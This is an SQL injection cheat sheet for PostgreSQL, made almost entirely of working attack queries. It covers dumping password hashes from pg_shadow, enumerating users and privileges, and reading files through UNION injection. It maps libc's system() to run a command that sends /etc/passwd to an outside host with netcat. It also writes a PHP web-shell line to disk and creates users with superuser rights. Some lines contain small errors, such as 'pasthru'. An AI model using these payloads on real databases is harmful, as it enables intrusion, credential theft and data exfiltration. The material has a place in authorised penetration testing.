SQL Injection Cheat Sheet (PostgreSQL)

Version
SELECT version()
Comments SELECT 1; --comment
SELECT /*comment*/1;
Current User
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users SELECT usename FROM pg_user
List Password Hashes
SELECT usename, passwd FROM pg_shadow -- priv
Password Cracker
MDCrack can crack PostgreSQL's MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database SELECT current_database()
List Databases SELECT datname FROM pg_database
List Columns
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name

If you want to list all the table names that contain a column LIKE '%password%':

SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';

Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char
SELECT substr('abcd', 3, 1); -- returns c
Bitwise AND
SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0

ASCII Value -> Char

SELECT chr(65);
Char -> ASCII Value SELECT ascii('A');
Casting SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
String Concatenation SELECT 'A' || 'B'; -- returns AB

If Statement

IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead.
Case Statement SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
Avoiding Quotes
SELECT CHR(65)||CHR(66); -- returns AB
Time Delay
SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function. Taken from here .
Make DNS Requests

Generally not possible in postgres. However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):

SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb',
  'SELECT version()') RETURNS (result TEXT);

Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".

Command Execution

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv

SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user

Local File Access

CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
DROP TABLE mytest mytest;

Write to a file:

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
COPY mytable (mycol) TO '/tmp/test.php'; --priv, write files as postgres OS-level user. Generally you won't be able to write to the web root, but it's always work a try.
-- priv user can also read/write files by mapping libc functions

Hostname, IP Address SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
Create Users
CREATE USER test1 PASSWORD 'pass1'; -- priv
CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
Drop Users
DROP USER test1; -- priv
Make User DBA
ALTER USER test1 CREATEUSER CREATEDB; -- priv
Location of DB files
SELECT current_setting('data_directory'); -- priv
SELECT current_setting('hba_file'); -- priv
Default/System Databases
template0
template1
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